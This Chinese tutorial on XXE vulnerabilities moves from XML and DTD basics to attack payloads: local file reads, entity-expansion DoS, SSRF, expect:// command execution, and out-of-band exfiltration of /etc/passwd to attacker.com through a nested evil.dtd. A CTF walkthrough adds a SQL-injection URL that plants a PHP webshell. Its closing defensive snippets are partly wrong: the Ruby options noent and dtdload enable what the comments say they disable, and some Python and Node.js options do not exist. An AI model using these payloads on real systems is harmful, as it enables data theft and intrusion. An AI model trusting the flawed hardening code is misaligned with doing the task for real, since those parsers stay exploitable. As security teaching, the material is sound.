一.什么是XXE漏洞

xxe漏洞是基于利用xml进行数据传输时,xml规范包含各种潜在危险功能。且xml可利用dtd定义外部实体,这可作为一个有效利用的点(但dtd逐渐被xml schema替代,后面要对其学习并转变利用)

顺便提一下JSON和XML都是用来传输数据的,为什么XXE是出现在XML中的,而没有出现在JSON中。其根本的原因就是XML和JSON两者对比最根本的区别是XML 是“可执行结构”,JSON 只是“数据结构”

二.XML介绍

2.1. XML基础

XML 指可扩展标记语言(eXtensible Markup Language),是一种用于标记电子文件使其具有结构性的标记语言,被设计用来传输和存储数据。XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。目前,XML文件作为配置文件(Spring、Struts2等)、文档结构说明文件(PDF、RSS等)、图片格式文件(SVG header)应用比较广泛。 XML 的语法规范由 DTD (Document Type Definition)来进行控制。

2.2. 基本语法

XML 文档在开头有 <?xml version="1.0" encoding="UTF-8" standalone="yes"?> 的结构,这种结构被称为 XML prolog ,用于声明XML文档的版本和编码,是可选的,但是必须放在文档开头。

除了可选的开头外,XML 语法主要有以下的特性:

  • 所有 XML 元素都须有关闭标签
  • XML 标签对大小写敏感
  • XML 必须正确地嵌套
  • XML 文档必须有根元素
  • XML 的属性值需要加引号

另外,XML也有CDATA语法,用于处理有多个字符需要转义的情况。

2.3.dtd

DTD(Document Type Definition,文档类型定义)是用于定义 XML 文档结构、元素、属性及实体的规范,属于 XML 1.0 规格的一部分。它通过定义一套标记规则,验证 XML 文档是否合法(有效),确保不同应用程序间交换数据的统一性和数据结构化。

DTD 的核心内容与功能:

  • 结构约束:明确定义 XML 中可以使用哪些元素、元素间的关系(顺序、嵌套)以及属性定义。

  • 合法性校验:XML 解析器通过 DTD 检查 XML 文档内容是否合乎规范,即验证其是否为“有效(Valid)”XML。

  • 定义规则:DTD 包含了元素、属性、实体或符号的定义规则。

DTD 的分类:

  • 内部 DTD:直接定义在 XML 文档内部的 <!DOCTYPE> 声明中。
  • 外部 DTD:定义在独立的 .dtd 文件中,通过 <!DOCTYPE> 引入,支持多个 XML 文档共享。

2.4.实体

XML实体(XML Entity) 是XML文档中定义的命名数据片段,可以在文档中通过引用名称来重用。

实体可以分为外部实体和内部实体,但除了上面的分法,还可以分为通用实体和参数实体,我知道你很懵,但你先别懵,坚持住。

内部实体:

内部实体就是在dtd里面直接定义的实体

1
2
3
4
5
6
7
8
9
10
11
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ctf [
<!ENTITY person "ctfer">
<!ENTITY hello " hello &title;">
<!ENTITY word "我要学ctf">
]>
<ctf>
<publisher>&person;</publisher>
<rights>&hello;</rights>
<edition>我们的口号是:&word;</edition>
</ctf>

上面的栗子呈现出来的结果如下

1
2
3
ctfer
hello ctfer
我们的口号是:我要学ctf

外部实体

一般在XXE漏洞中利用的都是外部实体,因为外部实体其实就是引用外部文件内容作为数据。同时,也可以利用伪协议读取解析该xml的本地文件内容。(xml可以直接引用伪协议是因为当XML解析处理此类实体时,会尝试打开该URL以获得实体的值。如果XML解析器是用PHP实现的(例如PHP的DOMDocument或SimpleXML扩展),那么它会调用PHP的流处理函数,从而触发 php:// 流包装器的逻辑。当然,通用的ftp,data等伪协议一般xml的解析器都是可用的)

1
2
3
4
5
6
7
8
9
10
11
<?xml version="1.0"?>
<!DOCTYPE notice [
<!ENTITY footer SYSTEM "footer.xml">
<!ENTITY logo SYSTEM "logo.svg" NDATA svg>
]>
<document>
<header>公司公告</header>
<content>这里是公告内容...</content>
&footer; <!-- 插入footer.xml文件内容 -->
</document>

通用实体:

通用实体说白了就是可以直接在XML直接应用的实体,也就是我们可以在DTD外部直接利用&引用的实体,其实上面外部实体和内部实体的例子都是通用实体,那这里就不再用代码讲述了,下面再讲讲参数实体我相信各位师傅就会区分了。

参数实体:

参数实体是仅可以用于dtd内部的实体,它的作用域只在dtd中,如果你在<!DOCTYPE >中使用将不会有任何反应,来个栗子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE fortiguard [
<!-- 1. 普通外部实体 -->
<!ENTITY lab SYSTEM "file:///home/r1ck/.bash_history">

<!-- 2. 参数实体(带base64编码) -->
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///home/r1ck/.bash_history">

<!-- 3. 外部 DTD 引用 -->
<!ENTITY % dtd SYSTEM "http://127.0.0.1/abc.dtd">

<!-- 4. 执行外部 DTD -->
%dtd;
%send;
]>

逻辑如下图:

三.XXE攻击

所谓XXE攻击就是利用xml语法自定义语句查询自己想要的信息。我们用一个最简单的栗子来讲解一下:

1
2
3
4
5
6
7
<?xml version="1.0"?>
<!DOCTYPE notice [
<!ENTITY footer SYSTEM "file:///etc/passwd">
]>
<document>
&footer;
</document>

可以直接读取/etc/passwd中的内容

下面来介绍一些XXE攻击方式

3.1. 拒绝服务攻击

1
2
3
4
5
6
7
<!DOCTYPE data [
<!ELEMENT data (#ANY)>
<!ENTITY a0 "dos" >
<!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;">
<!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;">
]>
<data>&a2;</data>

若解析过程非常缓慢,则表示测试成功,目标站点可能有拒绝服务漏洞。 具体攻击可使用更多层的迭代或递归,也可引用巨大的外部实体,以实现攻击的效果。

3.2. 文件读取

1
2
3
4
5
6
<?xml version="1.0"?>
<!DOCTYPE data [
<!ELEMENT data (#ANY)>
<!ENTITY file SYSTEM "file:///etc/passwd">
]>
<data>&file;</data>

3.3. SSRF

1
2
3
4
5
<?xml version="1.0"?>
<!DOCTYPE data SYSTEM "http://publicServer.com/" [
<!ELEMENT data (#ANY)>
]>
<data>4</data>

3.4. RCE

1
2
3
4
5
6
7
8
9
10
11
12
<?xml version="1.0"?>
<!DOCTYPE GVI [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "expect://id" >]>
<catalog>
<core id="test101">
<description>&xxe;</description>
</core>
</catalog>


<!-- expect伪协议 -->
expect:// 是 PHP 的一个 流包装器,由 expect 扩展提供。当 PHP 的文件操作函数(如 fopen(), file_get_contents())处理一个以 expect:// 开头的 URI 时,它会执行 URI 中指定的命令,并返回命令的输出。

3.5. XInclude

XInclude攻击

有些应用程序接收客户端提交的数据,将其嵌入到服务器端的 XML 文档中,然后解析该文档。例如,当客户端提交的数据被放入后端 SOAP 请求中,并由后端 SOAP 服务进行处理时,就会发生这种情况。

在这种情况下,无法执行经典的 XXE 攻击,因为无法控制整个 XML 文档,因此无法定义或修改DOCTYPE元素。但是,或许可以使用子文档XInclude来代替。XInclude子文档是 XML 规范的一部分,它允许从子文档构建 XML 文档。可以将攻击XInclude植入 XML 文档中的任何数据值中,因此即使只能控制服务器端 XML 文档中的单个数据项,也可以执行攻击。

1
2
<?xml version='1.0'?>
<data xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include href="http://publicServer.com/file.xml"></xi:include></data>

3.6.修改内容

XXE 通过修改内容类型发起攻击

大多数 POST 请求使用由 HTML 表单生成的默认内容类型,例如application/x-www-form-urlencoded。有些网站期望接收这种格式的请求,但也能容忍其他内容类型,包括 XML。

例如,如果一个普通的请求包含以下内容:

1
POST /action HTTP/1.0 Content-Type: application/x-www-form-urlencoded Content-Length: 7 foo=bar

那么,您可以尝试提交以下请求,结果应该是一样的:

1
POST /action HTTP/1.0 Content-Type: text/xml Content-Length: 52 <?xml version="1.0" encoding="UTF-8"?><foo>bar</foo>

如果应用程序容忍消息体中包含 XML 的请求,并将消息体内容解析为 XML,那么只需将请求重新格式化为 XML 格式,即可利用隐藏的 XXE 攻击面。

3.7.文件上传

某些应用程序允许用户上传文件,这些文件随后会在服务器端进行处理。一些常见的文件格式使用 XML 或包含 XML 子组件。基于 XML 的格式示例包括 DOCX 等办公文档格式和 SVG 等图像格式。

例如,某个应用程序可能允许用户上传图片,并在上传后在服务器上进行处理或验证。即使应用程序预期接收PNG或JPEG等格式的图片,其使用的图像处理库也可能支持SVG格式。由于SVG格式使用XML,攻击者可以提交恶意SVG图片,从而利用XXE漏洞的隐蔽攻击面。

我们借用DozerCTF2020的一道题目来讲解一下利用SVG文件上传实现XXE攻击:打开网页输入框可以输入URL的地址,然后进行检查URL指向的file是否为svg图片,SVG是基于XML的矢量图,可以支持Entity(实体)功能,这里未严格限制格式,因此造成blind xxe,ssrf打内网服务。先写一个简单的SVG图片源码放在vps上。

1
2
3
4
5
6
7
8
9
10
11
12
13
<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE fortiguard [

<!ENTITY lab "AAAA">

]>

<svg xmlns="http://www.w3.org/2000/svg" height="200" width="200">

<text y="20" font-size="20">&lab;</text>

</svg>

提交SVG图片源码地址发现实体成功显示,然后尝试读取历史操作的文件

1
2
3
4
5
6
7
8
9
10
11
12
13
<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE fortiguard [

<!ENTITY lab SYSTEM "file:///home/r1ck/.bash_history">

]>

<svg xmlns="http://www.w3.org/2000/svg" height="200" width="200">

<text y="20" font-size="20">&lab;</text>

</svg>

页面正常返回信息,但是经过尝试发现,并不能直接读到文件的内容,因为是无回显,所以进行尝试XXE的盲打,也通过加载外部的dtd文件,进而把读取结果以HTTP请求的方式发送到服务器上面进行读取,构造test.svg。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE fortiguard [

<!ENTITY lab SYSTEM "file:///home/r1ck/.bash_history">

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///home/r1ck/.bash_history">

<!ENTITY % dtd SYSTEM "http://127.0.0.1/abc.dtd">

%dtd;

%send;

]>

<svg xmlns="http://www.w3.org/2000/svg" height="200" width="200">

<text y="20" font-size="20">&lab;</text>

</svg>

继续构造abc.dtd

1
2
3
4
5
6
7
<!ENTITY % all

"<!ENTITY &#x25; send SYSTEM 'http://127.0.0.1/?%file;'>"

>

%all;

这里将test.svg以及abc.dtd放进去vps上面,在网页提交test.svg的链接即可成功读取到.bash_history,可通过读取历史记录获取信息读取网页源码,然后利用SSRF打内网。首先利用sql注入写入一句话木马

1
http://127.0.0.1:8080/index.php?id=-1%27%20union%20select%201,%27%3C?php%20system($%5fGET%5bcmd%5d)%3b%3e%27%20into%20outfile%27/app/dashabi.php%27%23

然后进行读取flag文件

1
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=http://127.0.0.1:8080/dashabi.php?cmd=cat%20H3re_1s_y0ur_f14g.php">

3.8.绕过方式

1.过滤xml的证明
即过滤<?xml version="1.0"
根据 XML 1.0 和 1.1 规范,XML 声明是可选的。如果文档没有声明,解析器会采用默认值

(1)将双引号改换为单引号
(2)在xmlversion之间多加一个空格

2.无回显
利用带外技术解决
这个过程两个关键是读取本地文件,利用http请求携带参数数据发送给自己
但我们并不能将这两个过程写在一个内部dtd中,如下:

1
2
3
4
5
<!DOCTYPE foo [
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % send SYSTEM "http://attacker.com/?%file;">
%send;
]>
  • 当解析器处理 <!ENTITY % send SYSTEM "http://attacker.com/?%file;"> 时,%file 是一个参数实体引用,但在实体定义中,参数实体引用不会立即展开。它只是作为字符串的一部分被保存下来。
  • 当执行 %send; 时,解析器会将 %send 的替换文本(即 "http://attacker.com/?%file;")插入到 DTD 中,但此时 %file 仍然是一个参数实体引用,需要再次展开。然而,%file 的值此时可能已经被定义,但展开时机可能不对,或者由于解析器对参数实体展开的顺序限制,导致最终 %send 请求的 URL 中仍然是 %file 的字面字符串,而不是其内容。

因此,会直接失败

我们就可以通过外部dtd嵌套一层实现我们想要的功能

evil.dtd:

1
2
3
4
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % all "<!ENTITY &#x25; send SYSTEM 'http://attacker.com/?%file;'>">
%all;
%send;

xml:

1
2
3
4
5
6
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd">
%dtd;
]>
<root/>
  • %file:读取文件并存储其内容(如果是 PHP 环境,可能还需要 base64 编码以避免特殊字符)。
  • %all:其值是一个字符串:"<!ENTITY % send SYSTEM 'http://attacker.com/?%file;'>"。注意这里使用了 % 来表示 %,这样在定义 %all 时,内部的 %file 不会被展开(因为它在字符串中)。
  • %all;:执行后,这个字符串被插入到 DTD 中,相当于定义了一个新的参数实体 %send,其 URI 中包含了 %file(此时 %file 已经被定义,但注意:在 %send 的定义中,%file 仍然是一个引用,不会立即展开)。
  • %send;:执行 %send 时,解析器会尝试展开它,而 URI 中的 %file 此时会被展开,从而得到包含文件内容的完整 URL,并向攻击者服务器发起请求。

四.防护

现代XML解析器通常默认禁用外部实体。

4.1.核心防御原则

  1. 禁用 DTD —— 最彻底的防御,因为外部实体依赖于 DTD。
  2. 禁用外部实体 —— 如果不能完全禁用 DTD,至少禁止加载外部实体。
  3. 使用安全的解析器配置 —— 大多数现代 XML 库提供安全配置选项。
  4. 输入验证与过滤 —— 对 XML 内容和结构进行白名单验证。
  5. 最小化 XML 使用 —— 优先使用 JSON 等更安全的格式。

4.2.各平台/语言的具体防护配置

4.2.1.Java

使用 DocumentBuilderFactory

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();

// 彻底禁用 DTD
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);

// 如果必须支持 DTD,则至少禁用外部实体
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
dbf.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);

// 禁用 XInclude
dbf.setXIncludeAware(false);
dbf.setExpandEntityReferences(false);

// 设置安全处理
dbf.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true);

DocumentBuilder builder = dbf.newDocumentBuilder();

使用 SAXParser

1
2
3
4
5
6
SAXParserFactory spf = SAXParserFactory.newInstance();
spf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
spf.setFeature("http://xml.org/sax/features/external-general-entities", false);
spf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
spf.setXIncludeAware(false);
SAXParser parser = spf.newSAXParser();

使用 XMLInputFactory (StAX)

1
2
3
XMLInputFactory factory = XMLInputFactory.newInstance();
factory.setProperty(XMLInputFactory.SUPPORT_DTD, false);
factory.setProperty(XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES, false);

使用 XPath

1
2
XPathFactory xpf = XPathFactory.newInstance();
xpf.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true);

4.2.2.PHP

PHP 使用 libxml2,可通过 libxml_disable_entity_loader() 控制实体加载。

1
2
3
4
5
6
7
8
9
10
11
12
13
// 禁用外部实体加载(包括本地文件)
libxml_disable_entity_loader(true);

// 使用 DOMDocument 安全解析
$dom = new DOMDocument();
$dom->loadXML($xml, LIBXML_NOENT | LIBXML_DTDLOAD); // 危险!不要使用这些选项
// 正确方式:
$dom->loadXML($xml, LIBXML_NONET); // 禁用网络访问

// 或者使用 SimpleXML
$previous = libxml_disable_entity_loader(true);
$xmlObject = simplexml_load_string($xml);
libxml_disable_entity_loader($previous);

注意:PHP 8.0 起 libxml_disable_entity_loader() 默认已为 true,但为了兼容性仍建议显式设置。

4.2.3.Python

Python 的 xml 库默认可能不安全,推荐使用 defusedxml

使用 defusedxml(首选)

1
2
3
4
5
from defusedxml.ElementTree import parse
et = parse(xml_file) # 安全,自动阻止外部实体

from defusedxml import minidom
doc = minidom.parse(xml_file)

若使用标准库,手动配置:

1
2
3
4
5
6
from xml.etree.ElementTree import XMLParser, parse

parser = XMLParser()
parser.entity = {} # 清空实体字典,禁止外部实体
# 或使用禁止DTD的解析器
parser = XMLParser( forbid_dtd=True )

lxml 安全配置

1
2
3
4
5
6
7
8
9
from lxml import etree

parser = etree.XMLParser(
resolve_entities=False, # 禁用实体解析
no_network=True, # 禁用网络访问
load_dtd=False, # 不加载DTD
dtd_validation=False # 不进行DTD验证
)
tree = etree.parse(xml_file, parser)

4.2.4.NET (C#)

XmlReader 安全设置

1
2
3
4
5
6
7
8
9
10
11
12
13
14
XmlReaderSettings settings = new XmlReaderSettings();

// 禁用 DTD
settings.DtdProcessing = DtdProcessing.Prohibit;

// 或更严格的:如果必须支持DTD,则禁止外部实体
settings.DtdProcessing = DtdProcessing.Parse;
settings.MaxCharactersFromEntities = 1024; // 限制实体扩展
settings.XmlResolver = null; // 禁止解析外部资源

using (XmlReader reader = XmlReader.Create(stream, settings))
{
XDocument doc = XDocument.Load(reader);
}

使用 XDocument / XmlDocument 时

1
2
3
XmlDocument doc = new XmlDocument();
doc.XmlResolver = null; // 禁止外部资源解析
doc.LoadXml(xmlString);

4.2.5.Node.js / JavaScript

使用 xml2jsxmldom 时手动防范

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
// xmldom 示例
const { DOMParser } = require('xmldom');
const parser = new DOMParser({
errorHandler: { warning: () => {} },
locator: {},
// 禁用外部实体
externalEntity: () => null
});

// 使用 fast-xml-parser(推荐)
const parser = new XMLParser({
ignoreAttributes: false,
allowBooleanAttributes: true,
parseAttributeValue: true,
// 禁用外部实体
processEntities: false,
// 禁止 DTD
allowProtoParsing: false
});

在浏览器端,同源策略通常限制外部实体,但仍需注意 XHR 响应解析。

4.2.6.Ruby

1
2
3
4
5
6
7
8
require 'nokogiri'

# 安全解析
doc = Nokogiri::XML.parse(xml_string) do |config|
config.nonet # 禁用网络连接
config.noent # 禁用外部实体
config.dtdload # 禁止加载外部DTD
end

4.3.输入验证与过滤

即使配置了解析器,也应对 XML 内容进行验证:

  • 使用 XML Schema (XSD) 验证:确保 XML 符合预期的结构和数据类型,可以拒绝包含 DOCTYPE 的文档。
  • 白名单校验:如果业务不需要 DTD,可以简单检查 XML 是否包含 <!DOCTYPE 并拒绝。
  • 内容长度限制:防止利用 XML 实体展开进行 DoS(如 Billion Laughs 攻击)。

示例:拒绝包含 DOCTYPE 的 XML

1
2
if '<!DOCTYPE' in xml_string.upper():
raise ValueError("DOCTYPE not allowed")

但注意,攻击者可能通过编码绕过简单检测,因此应优先在解析器层面禁用。

参考链接:
https://websec.readthedocs.io/zh/latest/vuln/xxe.html
https://portswigger.net/web-security/xxe

https://www.freebuf.com/articles/web/330777.html